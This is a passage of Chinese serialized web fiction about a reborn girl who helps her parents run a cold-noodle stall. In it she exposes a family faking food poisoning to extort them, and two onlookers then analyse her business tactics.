这时,苏卫华才后知后觉地发现媳妇和闺女不对劲儿,正想开口问呢,就听闺女那边竹筒倒豆子似的,把她设计收拾王老四的前后经过都说了出来! 苏卫华简直吓了一跳,没想到这孩子如今主意这么正,自己就敢做这么大的事! 毕竟今天王老四闹这么一出,不说名声没了、招牌砸了,就是钱也没少赔!他大致估算了下,这里外里最起码得搭进去八、九十块钱! 想到这儿,他不免有些担心,万一那王老四狗急跳墙,伤害珍珍怎么办? 他顿时有些着急,语气也严厉了几分,“你这孩子胆子也太大了!这两天你先别自己出门,就跟在我和你妈身边,尤其出摊的时候!” 其实这话也是他白嘱咐,自打放假开始,苏丽珍除了帮家里买东西或者上图书馆,几乎就没怎么出去过。 不过苏丽珍能感受到父母的紧张和不安,所以当即乖顺地点了点头。只要爸爸妈妈不会因此觉得她陌生、恶劣,无论他们说什么,她都愿意去做。 而夫妻俩看着闺女煞白着小脸,一副紧张不安的神情,不等再说别的,自己一颗心倒是先软了大半。 苏卫华这个当爹的最先绷不住,不自觉放软了声调:“珍珍,爸不是怪你,是你到底年纪还小,不知道人心能坏到啥地步……不过你放心,凡事有爸呢!只要爸还活着一天,谁也别想动我闺女一根毫毛!” 李翠英也长叹了一声,语重心长道:“珍珍,我和你爸都明白,你长大了,也懂事了,尤其这一个多月,你每天跟着我们忙里忙外,却从来不叫苦、叫累!我和你爸能有你这么个贴心的闺女,我们俩特别知足!” “回来的路上我也想过了,你是个聪明孩子,有时候甚至比我和你爸都强!我们再像过去那样一有点啥事,就惦记着看着你、压着你,也不合适了!” 苏卫华听了这话,下意识想说什么,只是嘴唇动了动,最终还是没开口。 李翠英似乎是知道他的想法,只是伸手拍了拍他的胳膊,兀自说道:“可是珍珍,你得明白,你是我们的闺女,是我和你爸这一辈子的希望!妈只希望你今后不管做啥事之前,都能再三考虑,千万不要鲁莽冲动!做事前,先想想你自个儿,再想想我跟你爸,知道保护好自己,行吗?” 李翠英殷切注视她的目光,让苏丽珍想起了记忆里上辈子妈妈的样子。 上辈子她听说那人要去米国留学深造,自己也发了疯似的要跟着去,甚至不惜要到南方偷渡。 记忆里,妈妈也是这样一遍遍地肯求她留下。从祈求到哀求,从殷切到卑微,无论她让她失望多少次,那个时候,她的眼神里始终满满的都是她! 直到爸爸为了给她凑出国的路费,四处托人卖掉了为数不多的家当,之后就在家里喝药自尽了。而她却是前脚刚参加完爸爸的葬礼,后脚就离开了家,踏上了南下的火车。 临出门的时候,轮到她祈求妈妈,求妈妈原谅她,说她以后还会回来…… 可那时的妈妈只是冷冷地看着她。 从那一刻起,她知道,以后妈妈的眼里再也不会有她这个女儿了。 一夕之间,为了追求一个从来没有对她另眼相待过的男人,她失去了这个世界上两个真正眼里、心里只有她的亲人。 真是活该啊! 心里的悔痛让她不由攥紧了掌心,之前被别针刺破的指尖再次沁出鲜血,她却感受不到丝毫疼痛,只是流着泪扑进妈妈的怀里,不住喃喃道:“对不起、对不起,妈妈、爸爸……我知道错了,我真的错了……求求你们原谅我……” 看女儿哭成这个样子,把苏卫华和李翠英吓了一跳。 李翠英赶忙紧紧将人搂住,一边轻拍她的脊背、一边哄劝道:“这是咋了?啥原谅不原谅的!珍珍没错,我们珍珍最聪明、最厉害,你可是妈的小棉袄!” 苏卫华也跟着紧张道:“对对,闺女别哭,刚刚你妈还说你长大了,可不能这么哭了!珍珍,我们真不是怪你,是你年纪还小,不知道这社会的复杂!我们是怕你年轻气盛,摔跟头……刚才都是爸不好,爸态度有问题,爸现在给你认错啊!” 苏丽珍听到这话却哭得更厉害! 她趴在李翠英的怀里,又忍不住紧紧拽住苏卫华的大手,贪婪地汲取着父母两个人的温暖,希冀这些温暖能帮她驱散内心终日不散的严寒。 谁知苏卫华却眼尖地发现了闺女指尖上的点点血迹,立马急了:“哎呀,这孩子这手咋出血了!媳妇,你赶紧看看!” 夫妻俩一阵兵荒马乱地找药水和纱布,急着给苏丽珍处理伤口,关于闺女主意大、擅自出手教训王老四的事就这样被抛到了脑后。 可苏丽珍心里却越发愧疚,比起任何事都全心全意为她考虑的父母,她还是差得太远、太远了。 第二天,客运站门口,那王家的摊子果然没再来。 不过因为如今这年月新鲜事少,“王家的‘假凉皮’吃坏了人,因此赔了五十块钱”这种事绝对算个新闻了! 因此即便他们人没来,可关于两口子黑心的传闻却在周边这片区域一连传了好几天才消停。 又过了一个星期,苏家人才偶然从一个来买凉皮的熟客那里得知,王家又去了火车站那边摆摊,还是卖包子,听说生意似乎也不错。 这点倒是没出苏丽珍的意料,毕竟现在改革之初,可以说是遍地商机,只要尝过这里面的甜头,一般轻易不会舍得放手。 而不说火车站本身的客流量,就说它和客运站的顾客重合率也不高,所以尽管李翠英和林小麦还有些不甘心,可之前的事确实不会再对王家造成什么影响。 而相对的,她明白,自家也该提高警惕了。 王老四那种人不会有太好的耐性,要是他想报复,一旦在火车站站住脚,就会立马掉头过来。 果然,之后没出三天,闹事的来了!《 》 21、第二十一章 这天,一家人照常是刚出摊就迎来了一拨儿一拨儿的食客。 这段日子,珍珍小吃已经成了附近一带小有名气的摊子。尤其随着暑热渐盛,凉皮爆火,每天都有不少慕名而来的新客人,连身后的国营饭店都比不上他们家的生意红火。 现在他们每天都能卖出二百多碗凉皮,生意好得不行。苏卫华夫妻俩原本打算先把包子这块停下,专心做凉皮,可因为总有老主顾回来找,他们为了照顾客人,索性每天也准备八十多个包子跟凉皮搭配着卖,对一些食量大的客人来说,也多了个选择。 中午十二点,本就是午饭休息时间,再加上客运站里几辆其他市里过来的客车也是这个点到站,一时间,来买凉皮的人暴增,排起的长队差点占了半条街,一家三口更是忙得喝口水的工夫都没有。 就在这时,忽然有一高、一矮两个男人抬着个老太太一路大呼小叫地冲到了摊子前。 “你们这帮黑心的,卖得什么破凉皮,把人都给吃坏了!” “对,你们卖的凉皮有问题,把我老娘坑惨了,简直就是缺德!” 被抬着的老太太也跟着捂着肚子使劲“哎呦、哎呦”地叫唤。 苏卫华和李翠英一看情况不对,就赶忙放下手里的活,迎了上去。 苏丽珍却是看着那三人张牙舞爪的架势,不由挑了挑眉。 她果然没看错王老四,还真是招数不管新旧,只要能恶心人就行。 她故意落后父母一步,顺手把这几天一直随车带着的一个小碗大的沙包拿在手里,掂了掂,也跟着走了过去。 因为来的是两个大男人,苏卫华这一家之主自然挡在妻女前头。 本来,他是想上前问问两人具体怎么回事的,奈何那两人根本没把他放在眼里,直接把抬着老太太的门板放下后,那个高个子的男人便扯着脖子朝四周大喊大叫起来! “大伙儿都来看看啊,这珍珍小吃家根本就是个丧良心的,卖得东西不干净,把我老娘都给吃坏了!可怜她老人家这么大岁数,肚子里头刀割似的疼,简直遭了大罪了!” 他一边喊,还一边从手腕上挂着的一个布兜里掏出一个铝饭盒,掀开盒盖,露出里面半盒子凉皮。 而这时,摊子上原本就有不少人在排队,再加上客运站里没来得及走远的乘客,出了这么一番变故,自然引得大伙儿纷纷围拢过来。 那高个男人便顺势把手里的凉皮挨个往周围站得近的人跟前送,“大伙儿看看、看看!这就是这家黑心摊子卖得凉皮!我原想着买一碗孝敬我老娘,结果我老娘吃了一半就开始喊肚子疼!什么正宗秦省小吃,狗屁!我看这就是忽悠人的玩意儿,指不定是用啥不干净的东西做的呢!” 站在前排围观的人闻着饭盒里熟悉的酸辣味,也不禁皱起了眉头,这的确是他们近来常吃的珍珍家凉皮没错! 周围人便忍不住议论起来。 “这怎么回事啊?珍珍家怎么也出这种事了?” “天啊,不能吧!我可连着在他们家买过三回凉皮了,每次都使劲加辣,不会里头的一直也是这种有问题的东西吧?” “不好说啊,都说天下乌鸦一般黑,你们忘了之前那个王老四,被人找上门之前不也是看着挺好的吗?” 围观的人里有大半并不知道王老四的事,忍不住顺道打听了两句,等听了知道的人前后一说,想到同是近两个月在这附近一起卖食物的摊贩,那王家不靠谱,自然难免对珍珍小吃也起了疑心。 从前王老四家的事一直是作为珍珍小吃家的对照组,每次被人提起都能反过来衬托珍珍家食物的干净卫生,可没想到换个背景,反倒让珍珍小吃被划成了天下乌鸦一般黑的“同犯”。 苏卫华和李翠英自家人知自家事,在食物上头,他们俩绝对是加一百个小心,不可能出现男人说的那种情况!到这会儿他们基本上也反应过来了,对方十有八九就是故意来闹事,败坏他们名声的! 夫妻俩十分生气,可他们俩素来老实惯了,一辈子也没跟人吵过架,自然不是那高个男人的对手。尤其苏卫华几次想上前跟那男人理论,还都被跟对方同行的矮子挡住了,一时间更是气愤不已。 苏丽珍见那矮子似乎力气不小,怕父母吃亏,忙上将两人拉到一旁,低声劝道:“爸妈,你们别急,先看看他们到底要干什么!” 夫妻俩看着闺女一副不慌不忙的样子,又想起这几天也是闺女再三叮嘱要提高警惕,提防有人找茬,如今可不正中了这话吗? 估摸这孩子心里是有了啥想法,不过他们毕竟是当人爹妈的,可不能啥事都让闺女挡在前头。 苏卫华便也同样低声道:“没事,珍珍,万一待会儿真打起来了,你就先跟着你妈回去,爸留下跟他们拼了!” 李翠英也赶忙道:“不行,让珍珍自己走,我跟你一块留下!我能挠人,我帮你!” 苏丽珍听得又想哭、又想笑。但凡她上辈子有一点心,她就应该早早明白,她有一对这个世上最可爱的父母。 不过当她的眼神转到对面还在肆意给他们泼脏水的两个男人时,目光渐渐变冷。 她不动声色地扫了眼周围越聚越多的人,又阴晦地给人群里焦急不已的林小麦递去一个安抚的眼神。 她之前和林小麦有个约定,不管这几天摊子上遇到什么事,都不许林小麦过来插手。 现在她就想看看对方还有什么招数,既然他们这么有心,那她就好好陪他们玩玩! 对面那两个男人眼见在自己挑动下周围的议论声越来越大,看出人群里开始有不满的情绪,那高个男人心里有些得意,不由默默算计着,待会儿应不应该多要个一百、两百的,毕竟这家珍珍小吃挺红火,肯定有钱! 想到这些,他心底就一片火热,可面上却摆出一副义正言辞的架势,指着对面低声说话的一家三口,大声道:“你们还有啥话可说的,要说就大点声!不会是还想着抵赖吧?大伙儿可都亲眼看着呢,这凉皮现在也只有你们家能做!这种丧良心的玩意儿一碗还卖三毛钱,简直黑心透了!” 这一嗓子过后,四周议论的声响又大了几分。真说起来,在众人眼中,这珍珍家的凉皮的确什么都好,就是一碗三毛的价格委实不低。毕竟这玩意儿加上黄瓜、面筋以后,看着虚虚蓬蓬,好像挺多,其实不怎么顶饿。 高个男人非常聪明,一下就抓住了人们在价格上的那点介怀,成功将大家的不满升级。 “唉,可怜我的老娘啊,一大把年纪,却遭了这个罪!总之,你们珍珍家今天必须给我们一个说法!要是我老娘有个三长两短,那我就撞死在你们摊子前!” 男人话音刚落,地上躺在门板上的老太太立马像被按了开关似的大声呻/吟起来:“哎呦,我肚子疼死了!我这造的什么孽啊,一把年纪还要因为嘴馋拖累我儿子!哎呦,疼死我了!” 这副“母慈子孝”的场面更是让许多人心中的天平不自觉偏到了三人这边。 苏丽珍这时看戏看得差不多了,便收起唇角的冷笑,换上一张谦和有礼的笑脸,主动上前对那两个男人说道:“两位叔叔,这事我听明白了,你们想要说法是吧?那好办,我就能做主给你们!” 说完也不理会两个男人眼中乍然泛起的喜色,她转头就对围观的众人高声道:“各位叔叔婶婶、哥哥姐姐们,我是珍珍小吃家的女儿,这‘珍珍’两个字就是取自我的名字,所以我就能代表我爸妈做主!现在,劳烦哪位帮我们个忙,去把街对面堵头那家派出所里的警察请过来一下!”《 》 22-30 第22章 一听叫警察,两个男人神色一变,那高个男人几乎是脱口而出:“等一下,你叫警察干啥?” 苏丽珍捏了捏手里的沙包,一脸理所应当,“当然是为了给你们说法啊?你们不是一直喊着要说法吗?可我们压根就不认识你们啊,总不能你们说什么,我们就听什么吧?反过来,你也不可能事事听我们的!既然咱们两边谁都不服气,那就干脆把警察请来,请他们帮着评评理,这样对咱们两边都公平!毕竟这个世上再没有比警察同志更公平、公正的人了,大伙儿说是这个理儿吧!” 她越说,两个男人的脸色越难看。与之相反的,周围的人却纷纷点头附和。 “是这个理儿,有警察帮着评理,谁对谁错,该赔多赔少的,轻易不会岔子!” “小姑娘说的有道理,这样对两边都公平。” 苏丽珍又朝人群里喊:“所以哪位愿意帮我们去请一下警察?” 两个男人哪里敢真的让她把警察招来,赶忙抢先开口道:“不用这么麻烦,你只要把该赔给我们的都赔了就行!毕竟警察同志一天也挺忙的,咱们这点事就自己解决得了!” 苏丽珍便故作惊讶:“这位叔叔,你们这是不愿意让警察来评理吗?我劝你,这可不是小事,你看你非说是我们家凉皮吃坏了你的母亲,那我也能说你是故意讹诈我们,咱总得有个居中裁判的吧?要我看啊,不光是请警察同志,咱们还得到医院给大娘好好化验化验呢!” 接着,她又走到那捂着肚子不住喊疼的老太太身边,俯下身认真跟对方说道:“大娘,您看看,这事闹这么大,不光您儿子要说法,我们珍珍小吃也得要啊!咱们一切都得拿证据说话,所以待会儿等警察来了,您就跟我们一起去医院,现在医院里的各项设施可齐全呢,什么抽血啊、验尿啊,全都有!对了,还有洗胃!像您这种可能吃坏了东西的,最好的治疗方法就是洗胃了!” “您还不知道什么是洗胃吧?”她一边说、一边上手给老太太比划,“我跟您说,洗胃就是用一根这么长、这么粗的大管子从您的嘴里塞进去,穿过喉咙口,一直通到您的肠胃底,然后在里面搅啊搅啊,直到把您胃里那些脏东西通通搅出来为止!” 老太太被她的话吓得脸都青了,结结巴巴道:“这、这就不用了吧!给我拿钱买点药吃就行了……” 苏丽珍却一脸严肃道:“怎么不用呢!这洗胃虽然听着遭罪,可它是真的能将您肚子里吃错的东西都弄出来,那是关键时候能救命的手段!而且洗胃的同时,医生还能直接给您化验,您之前是吃了什么、喝了什么,但凡进过肚子里的,保准一样不差都能给您查出来!” 这时旁边就有看热闹的跟着插口道:“这洗胃我也听说过!我有个亲戚家的小孩有一回把药丸当成糖豆吃了,送到医院里就是大夫给洗得胃!这孩子吃了多少药丸,人家都验得清清楚楚,就是因为事后查出来吃得不多,送得也及时,那孩子才没落下啥大毛病!” 其他人也七嘴八舌道t:“对啊,小姑娘是好心,老太太是该到医院好好查查!” 听着周围人不断跟着附和,那老太太脑门上都冒了汗,两只小眼睛更是不住往两个男人那边瞟。 苏丽珍就像没看见似的,仍然端着笑脸:“大娘,您是不是担心做这些检查和治疗会花不少钱啊?其实没啥,要我说,比起一条性命来,这三头五百的还算是小数目呢!而且只要大夫和警察都证实了,您确实是因为吃了我们家的凉皮才出了问题,那这钱自然是不用你们花的。” 虽然面前的小丫头始终笑吟吟的,可老太太这会儿确实浑身发凉!她可是听明白这话了,要是反过来,她这“毛病”跟珍珍家无关,那所用费用就必定是自家出了! 唉呀妈呀,她自己到底咋回事,她自己能不清楚吗?这要真到了医院,那不就是花钱给自己买罪受吗? 三头五百可不是个小数目啊,这都够他们全家不吃不喝攒个一年半载了! 一想到这个,老太太再也装不下去了,“腾”地一下直接从门板上坐起来,急巴巴地看向两个儿子,“大娃、二娃,要不咱们……” 高个男人眼瞅着自家老娘差点在大伙儿眼皮子底下漏了陷,赶忙给一旁的弟弟使眼色,于是那矮个男人当即指着苏丽珍破口大骂道:“你个臭丫崽子少在那嘎达吓唬我娘!啥警察、大夫的,我们都不用!反正我娘就是吃了你们家凉皮吃坏的,你必须给我们赔钱,别的少废话!” 这话听得周围的人都不由皱起了眉头。 苏丽珍看他色厉内荏的样子也收起了笑脸,冷笑一声,“怎么,软的不行,想来硬的了?” 她转头看向周围:“想必各位火眼金睛的叔叔婶婶、哥哥姐姐们都看出来了吧这家人根本就是别有用心!谁不知道像我们这样的小摊小贩其实最怕警察,可我们宁愿背着麻烦也要找警察来给双方评理!他们倒好,嘴上说着要说法,但我们一说找警察来就推三阻四,我看他们就是故意来讹人的!” 周围议论声立时四起,不少人也看出了两个男人前后态度不一,尤其三句话不离要钱,实在很让人生疑。再说那个老太太就更不对劲了,瞅那刚刚翻身坐起来的架势,快赶上年轻人利索了,这怎么看也不像有病的啊? 十有八九就是一伙闹事讹钱的! 一时间,大伙儿看着这一行三人的目光都变了,不少人眼中甚至直白地流露出不喜和鄙夷来。 眼见苏丽珍三言两语间,众人就转了风向,两个男人愤怒不已。 那矮个男人看着苏丽珍的眼神里凶光一闪,嘴里骂着不干不净地脏话,挥拳就要打过来! 苏丽珍却是早有防备,对方才一动,她就抡起胳膊,将手里的沙包照着那矮个男人的脸狠狠砸了过去! 那沙包不小,里面装得又全都是苏丽珍精挑细选的大粒黄豆,这么近的距离砸过去,力道可不轻,那矮个男人霎时捂着鼻梁就是一阵鬼哭狼嚎! 这突如其来的变故把那高个男人也给砸懵了,他一边急着查看自家兄弟的情况,一边伸手指着苏丽珍,气得直哆嗦! 苏丽珍可没给他们喘息机会,当即对周围人道:“大伙儿看看啊,这伙人先是恶意讹诈我们,被揭穿后甚至还想要动手打人,简直无法无天!现在我请大伙儿帮忙,把这三个人抓住送到派出所去!今天但凡能过来伸把手的,我都白送他一碗凉皮!” 周围不少人早就对这招摇撞骗的母子仨看不过去了,再加上动手就能白得一碗凉皮,大伙儿这么多人呢,别说抓两三个人了,再来两个也不怕啊!啥也别说了,有这好事还不得赶紧往上冲啊! 一时间,十几个人呼呼喝喝、如龙似虎地就冲向了那兄弟二人!这其中有年轻力壮的大小伙子,也有年过半百的老大爷。 甚至还有两个头发都白了一半的大娘,直接一左、一右就把那准备跳起来逃跑的老太太给死死拽住了!—— 作者有话说:晚安~端午安康,节日快乐~ 第23章 被按住的母子三人霎时面色大变,那高个男人也知道自己这边大势已去,当即换了副嘴脸,对苏丽珍哀求道:“小姑娘,实在对不住!我们知道错了,我这就给你们赔不是!求你千万别把我们送去派出所!” 苏丽珍捡起地上的沙包,转头冷笑一声:“叔叔,你们一家人当街装病诬陷我们,想讹钱不说,还差点把我们家招牌都给砸了!这么大的事,你一句‘对不住’就想揭过去了?今天要是我们犯了糊涂,对你们一家轻拿轻放,那转头再来一家跟你们有样学样,也来闹上一场,那我们珍珍家还要不要做生意了?” 众人听完也都深以为然,现在风气不比从前,这要是都指望着来闹事讹钱,那以后还不得出大乱子! 当即有人喊道:“不能听他的!这种人就得送他去派出所,让警察同志收拾他们!” “对,让他们去劳改,省得出来祸害人!” 三人吓坏了,那老太太更是面色如土,对两个儿子哭骂道:“都怪你们两个混犊子,我就说这种事不能干、不能干!你们偏不听,现在害得老娘一把年纪跟你们丢人现眼!” 两个男人脸上又青又白,谁也说不出一句话。 那老太太便又对苏丽珍哀求道:“姑娘啊,我们真知道错了!求求你们行行好,放过我们吧!我老婆子都这个岁数了,可不能真去劳改啊……那啥,我跟你保证,我以后肯定把这俩瘪犊子看好了!让他们再也不敢出现在你们面前,行不?” 老太太哭得鼻涕一把、泪一把的,看着委实有点可怜,心软的李翠英原本想劝闺女一下,可当她的目光落在刚刚高个男人因为被抓而打翻在地的半盒凉皮时,嘴里的话又咽了回去。 苏丽珍面无表情地看着眼前的闹剧,不过她也一直有留心父母这边的动静,刚刚李翠英的反应落在她眼里,她其实是有些高兴的。 他们家以后必然不会止步于一个小路边摊,所以她希望李翠英能早日立起来,该强硬的时候绝对不能心软。 老太太看苏丽珍一直没反应,关键时刻,脑子难得灵光一回,赶忙转头呵斥起两个儿子:“你们两个是死人啊!赶紧给人家保证啊,就说你们以后再不敢来了!痛快儿地!” 两个儿子赶紧随着自家老娘一叠声地给苏家三人赔礼、打保证。 搞笑的是,那矮个男人在苏丽珍手里吃了大亏,鼻梁疼得要死,原本是有些不甘心的,可等一听说要被送去派出所,反而第一个怂了。 等三人轮番做了保证,苏丽珍才开口:“看在这位老大娘的面子上,我今天可以答应先不送你们去派出所!但是我有个条件,你们三人必须给我签个保证书,把你们今天的所作所为通通写下来,然后保证你们以后绝不会再来,最后签字画押!” 三人自然不肯,签了那保证书,不就等于时刻在自家脖子上架了一把大刀吗?而且这刀子还是他们自己递上去的,这么埋汰人的事他们才不干! 对方这反应苏丽珍早有所料,她也不废话:“不愿意?那咱们就干脆去派出所好了!” 母子三人实在没办法,只好一咬牙答应了下来。 李翠英翻出平日记账的本子,又找出笔来,将东西都递到了那高个男人面前。 苏丽珍便恳请大伙暂时先放开男人,让他写保证书。 因为老太太和矮个男人还被人按着,也不怕他耍花招。 果然,尽管心里一百个不愿意,高个男人还是黑着脸乖乖接过了纸笔。 苏丽珍却在他刚要动笔的时候,走过去低低说了一句话。 高个男人立马惊讶地抬起头,苏丽珍却只是淡定地回视了他一眼。 男人目光闪了闪,最终一咬牙,抓起笔飞快在本子上写了几句话。 之后母子三人依次签名,老太太不识字,就由大儿子代签,最后又从一个看热闹的大叔那里借来了一方印泥,一一按了手印。 等苏丽珍仔细确认无误后,才请大伙儿都松了手,放开了老太太和矮个男人。 母子三人一恢复自由,就匆匆捡起地上脏兮兮的铝饭盒屁滚尿流地拨开人群跑了,连那扇门板都没拿,活像身后有虎狼追撵。 苏丽珍也不去看他们狼狈的样t子,只笑盈盈地对周围人道:“多谢大伙儿帮忙,虽然我刚刚看在那位老大娘的份上,没把他们一家人送去派出所,可大伙儿关键时刻给我们家伸手帮忙这事,我们绝对会放在心上!就像我之前给大伙承诺的,今天但凡主动伸手帮忙的人,都能在我家白领一碗凉皮!” 听见苏丽珍这话,之前动手的十多个人都不由露出惊喜的神色。本来他们都以为苏丽珍把那家人放走了,自然也不用他们帮忙送派出所,那赠送的凉皮估计也拉倒了。 虽说有些人心里确实不太高兴,可更多的人却没啥想法,毕竟他们也没费啥事,那一家三口就是怂包,先前他们都没怎么使劲,就把人直接按住了! 这啥也没干就能白得一碗三毛钱的凉皮,他们还有点怪不好意思的! 当即有个二十多岁长得高高壮壮的小伙子一脸憨厚道:“那啥,小妹妹,你看我们这么多人呢,要不还是算了吧!其实我们也没干啥,就是搭把手的小事!” 苏丽珍却一脸郑重道:“大哥,这可不是小事!你们大家路见不平,心怀正义,这样高尚的品格本来就值得赞扬!再说,你们能在关键时刻给我们伸手帮忙,也说明大伙儿对我们珍珍家的信赖和认可,身为差点被人恶意诬陷、砸了招牌的苦主,我们当然更感激大家!” 这十几个人一时被苏丽珍夸得都红了脸,一时间好像真觉得自己干了件匡扶正义的大好事,不由个个挺胸抬头,神色间满满的自豪。 见他们志得意满的样子,其他之前没过去帮忙、或是想跟着伸手结果没来得及的人都不由十分羡慕。 苏丽珍见状便又道:“另外,今天也算耽误了大家不少时间,尤其是那些之前一直在排队等候的人!所以为了表达我们的歉意,我宣布,在场的人只要今天来买我们的凉皮,每碗一律优惠一毛,卖完为止!要是在场中有之前已经按原价购买过的也没关系,可以马上到我这里简单留下姓名和地址,这样您下次来时,还能享受一次今天的优惠!” 其他人听到这个消息顿时高兴不已。 虽然他们不能像那十几个人一样,可以不花钱就白得一碗凉皮,可能得到每碗一毛的优惠,他们也很满足了! 毕竟人家那是真正伸过手的,不像他们纯粹是看热闹。这看完热闹买凉皮还能少花一毛钱,这不就相当于白赚了一毛吗? 尤其家里人口多、又舍不得多花钱的人,平常两碗的钱今天能买三碗,哎妈呀,这老合适了! 一时间,所有人都觉得满意,同时,他们也对珍珍家更有好感了! 一个五十多岁的大娘便高声说道:“这珍珍家的凉皮好吃,人也是有情有义,以后我可认准他们家了!” 很快,这话就获得了大家一致认同,不少人也跟着纷纷夸奖起来。 一家三口再次向众人表达了谢意,苏卫华两口子就赶紧回到摊子前,切凉皮、插黄瓜,重新忙碌起来。 不管是白送出十几份凉皮、还是降价优惠,从头到尾,他们对苏丽珍的决定没有一丝一毫的不满和质疑,甚至反而格外庆幸。 庆幸闺女不像他们俩,太过老实木讷,被人欺负到头顶上,除了悲哀地用自己并不算硬实的拳头对抗外,他们没有任何办法。 庆幸闺女聪明果断,仅凭一番话就能让小人露出马脚,让他们原本岌岌可危的处境瞬间翻盘! 而且他们看得出,经过这次之后,不但没给自家带来任何不好的影响,反而让大伙儿对他们更加喜欢和满意了! 所以此时此刻,看着自家摊子上再次井然有序排起的长队,夫妻俩内心更多的是喜悦、满足和骄傲。 而另一边,等苏丽珍身边围着的那七、八个先前买过凉皮的人登记好各自信息、散去后,一直在旁边等着的林小麦才满脸兴奋地冲到她身边。 “珍珍,你今天实在太厉害了!把这些缺德带冒烟的家伙都给狠狠惩治了一顿,就是可惜不能把他们送到派出所!不过那会儿你砸的那一下沙包,真是又快、又狠、又准!他们走的时候,我特意看了,那矮个子脸中间的地方几乎全青了,老解气了!” 看着对方比自己还高兴的样子,苏丽珍心中微暖。上辈子的诸多经历让她明白,发自真心的善意有多么可贵和可爱! 她的唇边也不自觉露出了真挚的笑容。 不过,当她的目光落在之前一家三口签写的保证书上时,目光却骤然变冷。 这封保证书不过寥寥数句,但是打头第一句就写得清清楚楚,母子三人之所以来恶意碰瓷完全是因为有人故意指使,而指使他们的人就是王老四。 因为如今对个体从业者的诸多法律法规还不够清晰健全,导致他们的身份合法性也有待商榷,所以真的闹到警察面前,即便他们是无辜的受害方,也不见得能讨着什么好。 再加上自家其实并没有受到多少损失,所以这封保证书的作用其实十分有限,这也是她今天没有坚持把那三人送去派出所的根本原因。 不过明面上的不行,不代表私下里她也能就这么算了! 况且,想起今天被她挑破王老四这个幕后主使者后,那高个男人眼中的怨恨和懊悔,她相信任何人都不会甘心沦为别人的木仓子儿,尤其还是个险些遭难、被迫留下把柄的木仓子儿。 这一点,从这份添油加醋的保证书上就充分体现出来了。 干脆就先让他们互相咬一会儿好了,好戏可不能一下唱全了—— 作者有话说:晚安。 第24章 与此同时,客运站大门东边的国营饭店里,二楼最好的包间内,临街的窗户前正一站、一坐着两个青年,将之前马路上的这场热闹从头看到尾。 看着再次大摆长龙的小吃摊,站着的高大青年不由啧啧称奇。 “嘿,瑞哥,真是想不到啊,这小丫头年纪不大,手段忒厉害!” 旁边坐着的青年生得白皙俊美,斯文儒雅,即便是坐在这车水马龙的闹市窗边,也挡不住一身悠然飘逸的气质。这会儿,他正随意地翻看着手边的几份文件,听了这话便温和地反问道:“哦?那你说说怎么个厉害法儿?” 高大青年五官俊朗,皮肤黝黑,笑起来却有一口晃人眼的大白牙,全身一股痞帅痞帅的劲儿,乍一看就是与旁边坐着的青年完全不同的类型。 不过,他听了青年的发问,反而性质极高,立马咧着一口大白牙道:“瑞哥你又考我是不是?嘿嘿,这段日子我可没闲着,这回你可难不倒我,你听我给你分析啊!” “这小丫头嘴皮子贼溜,也没惊动执法的,就把那两个怂包吓得当众露了马脚,这是第一个厉害的地方;” “第二个,小丫头反应也是贼快,那俩怂包刚一露马脚,她就能顺势用白送东西的法子笼络住周围看热闹的人给她帮忙!不过这要是我,肯定就没这么麻烦,老子只要招呼兄弟们一声,保准就能把那俩怂包揍得满地找牙,生活不能自理……” 眼见对面人眼中露出一抹儿不赞同,高大青年周明义才轻咳了两声,讪讪地摸了摸鼻子,“嘿嘿,不说这茬,主要是小丫头那小胳膊小腿的,还有她那俩爹妈,一看就都是给人家送菜的,所以小丫头其实挺厉害,这就叫瑞哥你常说的那叫……对,叫借势,借势!” 沈瑞唇角微微勾起,“还有吗?” 周明义点头:“还有就是小丫头没犯妇人之仁,硬是逼着那俩怂包签了保证书,这玩意儿现在虽说不见得有用,但是肯定能把那俩货吓得不轻,这以后也就省得他们再来找麻烦了!” 沈瑞笑意加深:“还有吗?” 周明义傻眼了,“啊,还有啊!” 他挠了挠头,实在憋不出来,只好跟对方“投降”了,“嘿,瑞哥,你再给老弟指点一下呗!” 沈瑞微笑着提醒他:“小姑娘今天不只是白送出去十多份凉皮,连带还给所有人做起了降价优惠。” 提起这个,周明义却忍不住皱起了眉:“瑞哥,这点你不说,我也想问呢,她白送给人家凉皮是为了指使人家帮忙,可她搞降价是图个啥?反正那些人之前也没给他们帮忙,要说是耽误大家排队买东西,可问题是闹事t的人一不是他们找来的,二是这热闹也不是她叫大家看的,干嘛都算在自己头上!” “再说,连之前买过的都能再跟着便宜一次,那要是这里头有人浑水摸鱼,明明先前没买过,却偏说自己来过,那不就更亏了吗?” 他一口气说了一大堆,显然是真的没看懂对方这一波操作。 沈瑞便耐心地给他解释起来,“这其实恰恰是她高明的地方。我们都明白,这世上‘好事不出门,坏事传千里’,即便今天他们家是受害方,且翻盘的速度够快,可仍然难保有人断章取义、以讹传讹,对他们的声誉造成影响。尽管这只是一种可能,可依然不是这么一家小小的路边摊能够赌得起的!” “而且哪怕是他们今天白送出去十多份凉皮,得到了一个守信、大方的称赞,可相比起这十多个人来说,其他没有拿到任何好处的人才占了大头。” “所以如果他们选择降价,就等于给今天所有在场的人一个让利的机会,所有人就都有了能拿到好处的可能。等拿到好处的人多了,自然能得到更多好评,而更多的好评也会吸引来更多的顾客,这就形成了一个快速的良性循环,足以覆盖住之前被闹事而带来的负面影响。” 周明义这才一脸恍然,“原来是这么回事,我明白了!” 沈瑞便继续道:“咱们再说说你提出的有人浑水摸鱼的问题。凉皮这种小吃的成本并不高,一碗三毛的定价其实算是高的,我相信以那个女孩子的精明,哪怕优惠一毛之后的价格,利润应该也是够的。” “所以这种情况下,有人来浑水摸鱼反而是好事,因为优惠不等于不要钱,这就相当于是改成了薄利多销的路线。更何况,别忘了,她可是说过所有之前买过的人在下次享受优惠前是需要先登记的,这也可以帮他们防住一部分爱占小便宜的人。” “而且小义,注意她之前说的登记方法,要那些人留下姓名和住址,别以为这只是她随意想出来应付人的。其实单单只是姓名和住址就已经构成了一份简单的客户资料,以后她可以从这些信息中推断出更多潜在客户,制定出更好的销售策略。说白了,就是如果有一天他们想将路边摊升级成店铺、或者开放更多经营品类,这些信息就是非常合适的参考依据。” 一碗三毛钱的凉皮,即便是在凤城这样的省城,也大多是中等以上家庭条件的人才能常来购买。 这些人要么是自身家境优越,要么是有固定工作、负担较轻,对于餐饮行业来说,哪怕未来几十年内,都是非常优秀的客户资源,掌握住这些资源,百利无一害。 所以在真正聪明人的眼中,就算是再微不足道的一点线索,也能被拿来充分利用,最大限度地为自己创造出好的发展条件。 